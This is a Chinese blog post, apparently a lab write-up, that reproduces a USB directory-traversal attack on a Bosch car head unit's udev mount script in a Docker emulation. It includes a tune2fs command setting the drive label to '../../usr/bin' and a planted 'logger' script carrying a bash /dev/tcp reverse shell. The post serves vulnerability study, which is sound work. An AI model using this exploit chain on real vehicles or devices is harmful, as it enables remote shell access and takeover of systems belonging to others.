• U盘目录穿越获取车机SHELL - 分析与复现


    github上破解日系车机的文章 - https://github.com/ea/bosch_headunit_root

    其中有利用 U 盘获取车机 shell 的操作

    主要根据下面这篇文章进行环境搭建和复现

    U盘目录穿越获取车机 SHELL(含模拟环境) - https://delikely.github.io/2021/06/04/U%E7%9B%98%E7%9B%AE%E5%BD%95%E7%A9%BF%E8%B6%8A%E8%8E%B7%E5%8F%96%E8%BD%A6%E6%9C%BASHELL/

    环境准备

    掏出我的U盘,不过好像ubuntu不支持

    第一个是插入U盘前 第二个是插入U盘后

    一般来说 /dev/sda 是指第一个磁盘设备,/dev/sdb 是指第二个磁盘设备,U盘插进去一般就是sdb了,因为虚拟机本身还有一个磁盘

    我用blkid命令都不显示 额....

    怀疑是不是因为U盘不是ETX4结构的

    掏出我的傲梅分区助手,格式化分区

    选择EXT4

    等待执行完成即可

    插入ubuntu虚拟机 可以看到这里已经是ext4类型了

    接下来是固件环境的搭建,这里直接使用原博主已经弄好的Dockerfile,在虚拟机里面搭建一个模拟环境(可能这个时候你想说,那我们U盘插进去的时候,是插的虚拟机还是docker容器,答案是使用 --privileged 参数,以特权模式运行容器,即容器内的进程将具有与主机相同的权限。这可以让容器内的进程执行敏感操作,如挂载文件系统等)

    我这里没有直接用wget,下载了对应文件传到虚拟机上

    接着创建镜像

    ~/bosch headunit root$ sudo docker build -t delikely/bosch_headunit_root:automount .
    [+] Building 29.8s (9/9) FINISHED
     => [internal] load build definition from Dockerfile                                                                          0.0s
     => => transferring dockerfile: 320B                                                                                          0.0s
     => [internal] load .dockerignore                                                                                             0.0s
     => => transferring context: 2B                                                                                               0.0s
     => [internal] load metadata for docker.io/library/ubuntu:12.04                                                              18.0s
     => [1/4] FROM docker.io/library/ubuntu:12.04@sha256:18305429afa14ea462f810146ba44d4363ae76e4c8dfc38288cf73aa07485005        10.5s
     => => resolve docker.io/library/ubuntu:12.04@sha256:18305429afa14ea462f810146ba44d4363ae76e4c8dfc38288cf73aa07485005         0.0s
     => => sha256:18305429afa14ea462f810146ba44d4363ae76e4c8dfc38288cf73aa07485005 1.36kB / 1.36kB                                0.0s
     => => sha256:5b117edd0b767986092e9f721ba2364951b0a271f53f1f41aff9dd1861c2d4fe 3.62kB / 3.62kB                                0.0s
     => => sha256:d8868e50ac4c7104d2200d42f432b661b2da8c1e417ccfae217e6a1e04bb9295 39.10MB / 39.10MB                              6.5s
     => => sha256:83251ac64627fc331584f6c498b3aba5badc01574e2c70b2499af3af16630eed 57.94kB / 57.94kB                              0.9s
     => => sha256:589bba2f1b36ae56f0152c246e2541c5aa604b058febfcf2be32e9a304fec610 423B / 423B                                    0.8s
     => => sha256:d62ecaceda3964b735cdd2af613d6bb136a52c1da0838b2ff4b4dab4212bcb1c 680B / 680B                                    1.3s
     => => sha256:6d93b41cfc6bf0d2522b7cf61588de4cd045065b36c52bd3aec2ba0622b2b22b 162B / 162B                                    1.4s
     => => extracting sha256:d8868e50ac4c7104d2200d42f432b661b2da8c1e417ccfae217e6a1e04bb9295                                     3.9s
     => => extracting sha256:83251ac64627fc331584f6c498b3aba5badc01574e2c70b2499af3af16630eed                                     0.0s
     => => extracting sha256:589bba2f1b36ae56f0152c246e2541c5aa604b058febfcf2be32e9a304fec610                                     0.0s
     => => extracting sha256:d62ecaceda3964b735cdd2af613d6bb136a52c1da0838b2ff4b4dab4212bcb1c                                     0.0s
     => => extracting sha256:6d93b41cfc6bf0d2522b7cf61588de4cd045065b36c52bd3aec2ba0622b2b22b                                     0.0s
     => [internal] load build context                                                                                             0.0s
     => => transferring context: 33B                                                                                              0.0s
     => [2/4] WORKDIR /etc/                                                                                                       0.6s
     => [3/4] COPY ./udev.tar.gz /etc/                                                                                            0.0s
     => [4/4] RUN tar xzvf udev.tar.gz -C ./udev/                                                                                 0.5s
     => exporting to image                                                                                                        0.1s
     => => exporting layers                                                                                                       0.1s
     => => writing image sha256:b7f09bab4df68c56fbfcb47df03b921998fe677b5b1158b01d5d29a8625c962f                                  0.0s
     => => naming to docker.io/delikely/bosch_headunit_root:automount                                                             0.0s
    

    额这么慢?

    不好意思打开方式错了,先改docker镜像源

    sudo vi /etc/docker/daemon.json

    添加

    {
      "registry-mirrors": ["https://y0qd3iq.mirror.aliyuncs.com"]
    }
    

    重启docker

    service docker restart
    

    可以看一下更新成功没有

    sudo docker info|grep Mirrors -A 1
    

    现在再搭建docker,世界终于美好了

    接下来运行这个镜像 原文中的命令有点问题 这里使用

    ~/bosch headunit root$ sudo docker run -itd --privileged=true delikely/bosch_headunit_root:automount
    05993c72efb7425b800924ac22d4d521b4a003261180a35cff301ad6f9b30db7
    

    OK到这里环境终于OK了

    漏洞代码分析

    因为我们的docker前面启动设置的原因 所以现在如果插入U盘 会直接挂载到docker容器中 如下

    可以看到是在容器中

    另外车机的操作系统为 Linux

    U 盘等外设热插拔由 udev 实现。udev 是 Linux 系统中的一个设备管理守护进程,全称为 "Userspace Device Manager"(用户空间设备管理器)。它负责监听和管理计算机系统中的硬件设备

    配置文件在 /etc/udev 下 。udev 会根据设备的 UUID 和 LABEL,构造挂载点。UUID 是块设备的唯一标识符,LAEBL 是块设备的一个标签

    车机中自定义了 U 盘挂载脚本,在 udev 配置文件 /etc/udev/rules.d/local.rules 中 ,指定了由脚本 /etc/udev/scripts/mount.sh 处理

    接下来看 mount.sh 的内容

    #!/bin/bash
    #
    # Called from udev
    # Attempt to mount any added block devices by UUID
    # and remove any removed devices
    #
    
    . /etc/default/rcS
    
    if [ -n "$DEVDEBUG" ]
    then
     export >> /tmp/env.txt
    fi
    
    MOUNT="/bin/mount"
    UMOUNT="/bin/umount"
    MOUNTPT="/dev/media"
    MOUNTDB="/tmp/.automount"
    
    devname=${DEVNAME##*/}
    
    check_mount() {
        dev=$1
        not_found=1
    
        exec 4< /proc/mounts
    
        read -u 4 device mount_point skip
        while [ $? -eq 0 ]; do
            case ${device} in
                $dev)
                   not_found=0
                   echo ${mount_point}
                   ;;
                *)
                   ;;
             esac
             read -u 4 device mount_point skip
        done
    
        exec 4<&-
    
        return ${not_found}
    }
    
    automount() {
        if [ -z "${ID_FS_TYPE}" ]; then
            logger -p user.err "mount.sh/automount" "$DEVNAME has no filesystem, not mounting"
            return
        fi
    
        # Determine the name for the mount point.  First check for the
        # uuid, then for the label and then for a unique name.
        if [ -n "${ID_FS_UUID}" ]; then
            mountdir=${ID_FS_UUID}
        elif [ -n "${ID_FS_LABEL}" ]; then
            mountdir=${ID_FS_LABEL}
        else
            mountdir="disk"
            while [ -d $MOUNTPT/$mountdir ]; do
                mountdir="${mountdir}_"
            done
        fi
    
        # Create the mount point.
        ! test -d "$MOUNTPT/$mountdir" && mkdir -p "$MOUNTPT/$mountdir"
    
        # And mount the disk or partition.
        if [ -n ${ID_FS_TYPE} ]
        then
          if [ "vfat" = ${ID_FS_TYPE} ]
          then
            IOCHARSET=",utf8=1"
          elif [ "ntfs" = ${ID_FS_TYPE} ]
          then
            IOCHARSET=",nls=utf8"
          fi
        fi
    
        result=$($MOUNT -t ${ID_FS_TYPE} -o sync,ro$IOCHARSET $DEVNAME "$MOUNTPT/$mountdir" 2>&1)
        status=$?
        if [ ${status} -ne 0 ]; then
            logger -p user.err "mount.sh/automount" "$MOUNT -t ${ID_FS_TYPE} -o sync,ro $DEVNAME \"$MOUNTPT/$mountdir\" failed: ${result}"
            rm_dir "$MOUNTPT/$mountdir"
        else
            logger "mount.sh/automount" "mount [$MOUNTPT/$mountdir] with type ${ID_FS_TYPE} successful"
            mkdir -p ${MOUNTDB}
            echo -n "$MOUNTPT/$mountdir" > "${MOUNTDB}/$devname"
        fi
    }
    
    rm_dir() {
        # We do not want to rm -r populated directories
        if test "`find "$1" | wc -l | tr -d " "`" -lt 2 -a -d "$1"
        then
            ! test -z "$1" && rm -r "$1"
        else
            logger -p user.err "mount.sh/automount" "not removing non-empty directory [$1]"
        fi
    }
    
    if [ "$ACTION" = "add" ] && [ -n "$DEVNAME" ]; then
        check_mount "$DEVNAME" || automount
    fi
    
    if [ "$ACTION" = "change" ] && [ -n "$DEVNAME" ]; then
        # Check if the disk can be opened.
        if [ exec <$DEVNAME ]; then
            # The disk can be opened, so check for a file system and mount
            # it. Otherwise wait for the add events for the partitions.
            if [ -n "${ID_FS_TYPE}" ]; then
                # There is a file system, so try to mount it.
                check_mount "$DEVNAME" || automount
            fi
        else
            # The disk cannot be opened. Unmount all mount points
            # referring to this disk including partitions.
            for file in $(ls ${MOUNTDB}/$devname* 2>&-)
            do
                read mountdir < ${file}
                devname=${file#${MOUNTDB}/}
    
                logger "mount.sh/automount" "unmounting [${mountdir}]"
                $UMOUNT -l $mountdir
    
                # Remove empty directories from auto-mounter
                rm_dir "${mountdir}"
                rm "${MOUNTDB}/$devname"
            done
        fi
    fi
    
    if [ "$ACTION" = "remove" ] && [ -x "$UMOUNT" ] && [ -n "$DEVNAME" ]; then
    
        for mnt in $(check_mount "$DEVNAME")
        do
            logger "mount.sh/automount" "unmounting [$mnt]"
            $UMOUNT -l $mnt
    
            # Remove empty directories from auto-mounter
            if [ -e "${MOUNTDB}/$devname" ]; then
                read mountdir < ${MOUNTDB}/$devname
                rm_dir "$mountdir"
                rm "${MOUNTDB}/$devname"
                rm "${INFODB}/$devname"
            fi
        done
    fi
    

    查看主动挂载函数

    automount() {
        if [ -z "${ID_FS_TYPE}" ]; then
            logger -p user.err "mount.sh/automount" "$DEVNAME has no filesystem, not mounting"
            return
        fi
    
        # Determine the name for the mount point.  First check for the
        # uuid, then for the label and then for a unique name.
        if [ -n "${ID_FS_UUID}" ]; then
            mountdir=${ID_FS_UUID}
        elif [ -n "${ID_FS_LABEL}" ]; then
            mountdir=${ID_FS_LABEL}
        else
            mountdir="disk"
            while [ -d $MOUNTPT/$mountdir ]; do
                mountdir="${mountdir}_"
            done
        fi
    
        # Create the mount point.
        ! test -d "$MOUNTPT/$mountdir" && mkdir -p "$MOUNTPT/$mountdir"
    
        # And mount the disk or partition.
        if [ -n ${ID_FS_TYPE} ]
        then
          if [ "vfat" = ${ID_FS_TYPE} ]
          then
            IOCHARSET=",utf8=1"
          elif [ "ntfs" = ${ID_FS_TYPE} ]
          then
            IOCHARSET=",nls=utf8"
          fi
        fi
    
        result=$($MOUNT -t ${ID_FS_TYPE} -o sync,ro$IOCHARSET $DEVNAME "$MOUNTPT/$mountdir" 2>&1)
        status=$?
        if [ ${status} -ne 0 ]; then
            logger -p user.err "mount.sh/automount" "$MOUNT -t ${ID_FS_TYPE} -o sync,ro $DEVNAME \"$MOUNTPT/$mountdir\" failed: ${result}"
            rm_dir "$MOUNTPT/$mountdir"
        else
            logger "mount.sh/automount" "mount [$MOUNTPT/$mountdir] with type ${ID_FS_TYPE} successful"
            mkdir -p ${MOUNTDB}
            echo -n "$MOUNTPT/$mountdir" > "${MOUNTDB}/$devname"
        fi
    }
    

    逐行分析

    下面的代码判断U盘的文件系统 ID_FS_TYPE,可识别就继续执行,否则就退出

    if [ -z "${ID_FS_TYPE}" ]; then
        logger -p user.err "mount.sh/automount" "$DEVNAME has no filesystem, not mounting"
        return
    fi
    

    然后设置mountdir,如果 ID_FS_UUID 不为空则 mountdir 为 ID_FS_UUID,如果 ID_FS_LABEL 不为空则 mountdir 为 ID_FS_LABEL,否则mountdir为disk

    if [ -n "${ID_FS_UUID}" ]; then
        mountdir=${ID_FS_UUID}
    elif [ -n "${ID_FS_LABEL}" ]; then
        mountdir=${ID_FS_LABEL}
    else
        mountdir="disk"
        while [ -d $MOUNTPT/$mountdir ]; do
            mountdir="${mountdir}_"
        done
    fi
    

    拼接一下 /dev/media 就是形成了最终的挂载点。最后使用 mount 命令将 U盘挂载到刚才构造的这个路径上

    ! test -d "$MOUNTPT/$mountdir" && mkdir -p "$MOUNTPT/$mountdir"
    

    下面这部分因为我们是ETX4所以可以忽略

    # And mount the disk or partition.
    if [ -n ${ID_FS_TYPE} ]
    then
      if [ "vfat" = ${ID_FS_TYPE} ]
      then
        IOCHARSET=",utf8=1"
      elif [ "ntfs" = ${ID_FS_TYPE} ]
      then
        IOCHARSET=",nls=utf8"
      fi
    fi
    

    然后是真正的挂载操作

    result=$($MOUNT -t ${ID_FS_TYPE} -o sync,ro$IOCHARSET $DEVNAME "$MOUNTPT/$mountdir" 2>&1)
    

    $mountdir 这里很关键,刚好是我们能够控制的 而且没有什么过滤操作,存在目录穿越漏洞

    咱们接着把挂载脚本看完

    status=$?
    if [ ${status} -ne 0 ]; then
        logger -p user.err "mount.sh/automount" "$MOUNT -t ${ID_FS_TYPE} -o sync,ro $DEVNAME \"$MOUNTPT/$mountdir\" failed: ${result}"
        rm_dir "$MOUNTPT/$mountdir"
    else
        logger "mount.sh/automount" "mount [$MOUNTPT/$mountdir] with type ${ID_FS_TYPE} successful"
        mkdir -p ${MOUNTDB}
        echo -n "$MOUNTPT/$mountdir" > "${MOUNTDB}/$devname"
    fi
    

    我们看挂载成功之后的逻辑 会调用logger命令,我们劫持/usr/bin/之后,可以在U盘里面再写一个logger脚本,导致挂载的时候运行到这里的时候,调用我们的logger脚本,从而实现反弹shell

    漏洞利用

    因为 $mountdir 没有被过滤,所以可以控制 $mountdir 来实现目录穿越,从而劫持系统中的程序实现任意命令执行

    前面 $mountdir 我们可以通过 ID_FS_UUID 和 ID_FS_LABEL 来控制

    blkid 命令是一个用于显示块设备(如硬盘、分区等)的文件系统类型和UUID(Universally Unique Identifier)的工具命令。它可以帮助您在 Linux 系统中识别和管理块设备。

    /etc# blkid /dev/sdb1
    /dev/sdb1: LABEL="EasyU" UUID="7cc162e8-93d7-1f44-bbd6-0d308f113468" TYPE="ext4"
    

    可以看到其中

    • LABEL 为 EasyU
    • UUID 为 7cc162e8-93d7-1f44-bbd6-0d308f113468

    我们使用 tune2fs 工具

    tune2fs 是一个用于调整和修改 ext2、ext3 和 ext4 文件系统参数的命令行工具。它是 e2fsprogs 软件包(ext2/ext3/ext4 文件系统工具集)中的一部分,常用于 Linux 系统中

    使用tune2fs控制UUID

    /etc# tune2fs -U "../../usr/bin" /dev/sdb1
    tune2fs 1.42 (29-Nov-2011)
    tune2fs: Invalid UUID format
    

    不规范的UUID,所以将其置空

    /etc# tune2fs -U NULL /dev/sdb1
    tune2fs 1.42 (29-Nov-2011)
    

    控制 LABEL

    /etc# tune2fs -L "../../usr/bin" /dev/sdb1
    tune2fs 1.42 (29-Nov-2011)
    

    看一下成果

    /etc# blkid /dev/sdb1
    /dev/sdb1: LABEL="../../usr/bin" UUID="7cc162e8-93d7-1f44-bbd6-0d308f113468" TYPE="ext4"
    

    暂停docker,在U盘目录下编写logger脚本来进行反弹shell,这里我除了IP,其余直接复制原博主的了

    root@kali:~/automotive# mount /dev/sdb1 /media/root/
    root@kali:~/automotive# cd /media/root
    root@kali:/media/root# cat logger
    #!/bin/bash
    /bin/bash -i >& /dev/tcp/192.168.159.128/4444 0>&1
    root@kali:/media/root# chmod +x logger
    root@kali:/media/root# cd -
    root@kali:~/automotive# umount /dev/sdb1
    

    启动docker环境~

    最后再插入U盘 ,ubuntu虚拟机拿到反弹shell~ (大功告成

    原来的/usr/bin 目录下就被劫持了,只剩下了U盘内容

    可以看到反弹shell中我们用 whoami 就找不到命令了

    如果想要使用其他的/usr/bin/目录下的命令,就需要把原来/usr/bin 目录的文件(或相同架构的可执行文件)拷贝到 U 盘根目录,这样在劫持了之后才有命令可用

    END

    建了一个微信的安全交流群,欢迎添加我微信备注进群,一起来聊天吹水哇,以及一个会发布安全相关内容的公众号,欢迎关注 😃

    加我拉你入群 黑糖安全公众号
  • 相关阅读:
    Nginx+keeplived高可用
    【USRP】产品型号、参数、架构全解析系列 1:B200 / B210 / B200mini / B205mini
    spring-security-oauth2之AuthorizationServerConfigurerAdapter浅析
    C#并发编程的实现方式
    Godot UI线程,Task异步和消息弹窗通知
    VisualAssist 10.9.2 Crack-2022-09-15
    终极GPU互联技术探索:消失的内存墙
    IDEA中强大的Maven依赖管理工具
    DolphinDB Python API 离线安装教程
    模型微调(fine-tuning)
  • 原文地址:https://www.cnblogs.com/Cl0ud/p/17643514.html